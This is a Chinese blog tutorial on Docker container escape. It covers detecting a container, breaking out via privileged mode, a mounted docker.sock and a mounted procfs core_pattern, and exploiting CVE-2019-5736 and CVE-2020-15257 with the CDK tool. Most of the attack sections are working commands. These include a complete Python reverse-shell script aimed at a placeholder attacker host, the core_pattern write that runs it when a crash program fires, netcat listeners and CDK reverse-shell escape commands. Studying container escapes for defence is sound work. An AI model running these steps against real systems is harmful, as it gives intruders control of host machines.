• 云上攻防--云原生&&Docker逃逸--特权逃逸--危险挂载--漏洞逃逸


    Docker介绍

    Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
    Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

    判断Docker环境

    1. 查询cgroup信息
    cat /proc/1/cgroup

    正常主机:
    image.png
    docker环境:
    image.png

    1. 检查根目录特定文件
    ls -al / | grep "docker"

    正常主机:
    image.png
    docker环境:
    image.png

    1. 检查挂载信息
    mount | grep '/ type'

    正常主机:
    image.png
    docker环境:
    image.png

    1. 查看硬盘信息
    fdisk -l 

    正常主机:
    image.png
    docker环境:
    image.png

    1. 查看文件系统挂载点
    df -h | egrep '(overlay|aufs)'

    正常主机:
    image.png
    docker环境:
    image.png

    容器逃逸-特权模式

    特权模式是指在启动docker容器时,赋予了容器过高的权限,可以使容器将宿主机上的文件挂载到容器里面从而形成容器逃逸。
    特权启动一般出现在主机分权明确的情况下,业务需要足够的权限进行启动,而管理员账号本身被并不具备,因此需要特权启动容器。
    环境复现:

    1. 特权启动容器
    docker run --rm --privileged=true -it alpine

    image.png

    1. 检测docker环境
    cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

    两种检测方式均符合docker环境特征
    image.png

    1. 判断特权启动
    cat /proc/self/status | grep CapEff

    特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
    image.png

    1. 查看磁盘分区

    查看目前环境处于哪个分区中
    image.png

    1. 特权逃逸

    创建目录,并将分区挂载到目录中。

    mkdir /test && mount /dev/vda1 /test
    1. 逃逸成功

    成功将宿主机内容挂载到test目录下
    image.png

    容器逃逸-危险挂载

    挂载DockerSocket逃逸

    将 Docker Socket 挂载到容器中可以使容器内部的应用或进程直接与宿主机上的 Docker 守护进程通信,即给予容器控制宿主机上Docker实例的能力。
    应用场景:

    • 持续集成和持续部署(CI/CD):在 CI/CD 流程中,如 Jenkins、GitLab CI 或 CircleCI,构建容器需要创建、管理或销毁其他容器。例如,自动化测试过程可能需要启动一个应用容器和一个数据库容器,然后在测试完成后销毁它们。
    • 容器编排工具:管理容器集群的工具,如 Portainer 或 Rancher,需要在其容器内访问 Docker Socket,以便管理和监控集群中的容器。
    • 本地开发环境:开发人员可能使用容器化的开发环境,其中包括需要管理其他容器的工具。例如,使用 Docker Compose 在本地部署多容器应用时,主控容器可能需要访问 Docker Socket 来控制其他服务容器。
    • Docker-in-Docker(DinD)场景:在需要完全隔离的 Docker 环境中进行测试或开发时,例如测试 Docker 本身的新功能或插件,会使用到 Docker-in-Docker。这要求主容器能够完全控制内部的 Docker 守护进程。
    • 自动化部署脚本:某些自动化脚本或工具,可能被打包在容器中,并需要访问 Docker Socket 以自动部署或更新容器化应用

    环境复现:

    1. 创建文件标识

    在根目录下创建文件标识宿主机,以便分辨逃逸是否成功。
    image.png

    1. 挂载Docker Socket容器启动
    docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
    1. 进入容器
    docker exec -it with_docker_sock /bin/bash
    1. 检测环境
    ls -al / | grep docker 

    检测根目录下有固定Docker特征文件,判断是在容器中
    image.png

    ls -lah /var/run/docker.sock

    检测容器中挂载有docker.socket文件,判断为docker.socket挂载启动
    image.png

    1. 安装docker客户端
    apt-get update
    apt-get install curl
    curl -fsSL https://get.docker.com/ | sh

    虽然已经检测到docker.socket已经被挂载到容器中,这只能说明已经具备和宿主机docker进程进行通信的能力,但是容器中并没有docker的客户端,无法使用docker命令,因此需要安装docker客户端。

    1. 挂载逃逸
    docker run -it -v /:/host ubuntu /bin/bash

    在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部host目录中。
    image.png

    1. 逃逸成功

    host目录中已经看到宿主机上的文件,后续利用可以在宿主机本身创建定时任务反弹shell。
    image.png
    退出容器时要退出两次才能到宿主机。
    image.png

    挂载宿主机procfs逃逸

    在 Docker 中,挂载 procfs (/proc 文件系统)到容器通常是为了从容器内部访问宿主机的 proc 文件系统,这通常用于高级监控、诊断或其他特殊的系统管理任务。/proc 文件系统是一个特殊的文件系统,它提供了一个接口到内核数据结构,主要用于访问有关系统和运行中进程的信息。
    环境复现:

    1. 挂载procfs启动容器

    将宿主机/proc/sys/kernel/core_pattern文件挂载到容器/host/proc/sys/kernel/core_pattern中

    docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
    1. 环境监测
    ls -al / | grep docker
    find / -name core_pattern

    在容器中找到两个core_pattern文件那可能就是挂载了宿主机的 procfs
    image.png

    1. 寻找路径

    找到当前容器在宿主机下的绝对路径

    cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
    

    image.png
    将work目录变成merged目录就是容器所在宿主机的绝对路径

    /var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged
    1. 创建反弹shell脚本
    cat >/tmp/.x.py << EOF
    #!/usr/bin/python
    import os
    import pty
    import socket
    lhost = "xx.xx.xx.xx"
    lport = xxxx
    def main():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((lhost, lport))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        os.putenv("HISTFILE", '/dev/null')
        pty.spawn("/bin/bash")
        os.remove('/tmp/.x.py')
        s.close()
    if __name__ == "__main__":
        main()
    EOF

    image.png赋予执行权限

    chmod 777 /tmp/.x.py
    1. 写入反弹 shell文件在宿主机执行路径到目标的/proc/sys/kernel/core_pattern 文件
    echo -e "|/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

    查看路径是否写入成功
    image.png
    从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
    /proc/sys/kernel/core_pattern 是 Linux 系统中的一个特殊文件,它属于 /proc 文件系统,这是一个虚拟文件系统,提供了一个接口到内核数据结构。这个特定文件用于定义当程序崩溃导致核心转储(core dump)时,核心转储文件的命名模式和位置。
    核心转储是操作系统在程序发生严重错误(如段错误)时创建的文件,包含了程序崩溃时的内存镜像和有关程序状态的其他信息,对于程序调试和确定崩溃原因非常有用。

    • core_pattern 文件的内容决定了核心转储文件的命名和存储位置。
    • 默认情况下,这个文件可能只包含一个单词 core,表示核心转储文件将被命名为 core 并存储在程序崩溃时的当前目录下。
    • 可以配置这个文件来更改核心转储文件的存储位置和命名方式。例如,可以设置路径和文件名,甚至可以指定一个处理核心转储的程序。

    上述解释就是我们要将反弹shell文件路径写入core_pattern 中

    1. 写入引起docker崩溃的文件,诱导系统加载core_pattern 文件

    安装vim以及gcc

    apt-get update -y && apt-get install vim gcc -y

    写入崩溃文件

    cat >/tmp/x.c << EOF
    #include 
    int main(void)
    {
        int *a = NULL;
        *a = 1;
        return 0;
    }
    EOF

    将文件赋予执行权限

    gcc x.c -o x
    1. 开启监听

    在VPS中开启监听

    nc -lvvp xxxx
    1. 执行崩溃文件,接收反弹shell
    ./x

    image.png
    崩溃文件执行的同时,shell也被反弹了
    image.png

    容器逃逸-Docker漏洞

    利用Docker本身漏洞进行逃逸

    CVE-2019-5736 runC容器逃逸

    环境复现:

    • 复现建议:复现之前做好快照,因为复现过程中会破坏docker环境。
    • 漏洞影响版本:docker version <=18.09.2 RunC version <=1.0-rc6
    1. 安装对应的Docker版本
    apt-get update
    apt-get install -y apt-transport-https ca-certificates curl software-properties-common
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
    add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
    apt-get update
    apt-cache madison docker-ce
    apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

    image.png

    1. 启动模拟环境
    docker run -itd ubuntu:latest
    1. 构造漏洞利用POC

    POC下载地址CVE-2019-5736-PoC
    对main.go文件内容进行修改
    image.png
    使用go环境进行编译

    CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
    1. 上传POC

    由于是模拟环境,因此在这里就在终端直接上传了,如果在实战情况下拿了shell,应该也有上传文件的权限
    上传之后赋予POC执行权限。

    docker cp main xxxx:/
    chmod 777 main 
    ./main

    image.png

    1. VPS开启监听

    image.png

    1. 执行POC,模拟管理员重新进入docker容器
    docker exec -it xxxx/bin/bash

    管理员进入容器时:
    image.png

    1. 逃逸成功

    管理员重新进入容器时,shell成功反弹,查看根目录下文件,并没有docker.env文件,逃逸成功。
    image.png

    • 复现过后docker-runc发生了改变

    image.png

    CVE-2020-15257 containerd逃逸

    Containerd 是一个控制 runC 的守护进程,提供命令行客户端和 API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shim API,从而实现Docker容器逃逸。
    漏洞复现:

    • 漏洞影响版本:

    containerd < 1.4.3
    containerd < 1.3.9

    1. 安装对应漏洞版本Docker
    apt-get update
    apt-get install ca-certificates curl software-properties-common
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
    add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
    apt-get update
    apt-cache madison docker-ce
    apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

    image.png

    1. 启动测试环境

    用root用户以共享主机网络的方式启动容器--net=host

    docker run -itd --net=host ubuntu:latest /bin/bash
    docker exec -it 容器id /bin/bash
    1. 下载并上传自动化利用脚本

    CDK

    docker cp cdk_linux_amd64 容器id:/
    chmod 777 cdk_linux_amd64
    1. 使用脚本进行漏洞检测
    ./cdk_linux_amd64 evaluate

    收集到的信息,包括提权漏洞
    image.png

    1. 尝试自动化进行逃逸
    ./cdk_linux_amd64 auto-escape id

    显示执行id命令成功了,但是看不到回显结果,根据显示成功的关键字判断出存在哪个漏洞
    image.png

    1. 指定POC进行逃逸
    ./cdk_linux_amd64 run shim-pwn reverse  <端口>

    shell反弹成功
    image.png

    逃逸权限

    对于拿下docker环境后逃逸操作,java的环境默认就是高权限用户,php环境一般是低权限用户,需要进行提权后再进行逃逸。

    利用项目

    CDK
    container-escape-check


    __EOF__

  • 本文作者: 了了青山见
  • 本文链接: https://www.cnblogs.com/Pengj/p/17956606
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    家政小程序的开发:打造现代式便捷家庭服务
    Vue权限控制
    数据结构 顺序表 ——— 链表
    html web前端 登录,短信验证码登录
    嵌入式单元测试工具Tessy的一些测试技巧
    Palantir大数据技术在乌克兰战场的应用
    基于FPGA的图像自适应阈值二值化算法实现,包括tb测试文件和MATLAB辅助验证
    〔003〕虚幻 UE5 基础教程和蓝图入门
    如何使用测试仪进行400G交换机性能测试
    【Spring】Dubbo(容错、协议、组件、负载)面试题
  • 原文地址:https://www.cnblogs.com/Pengj/p/17956606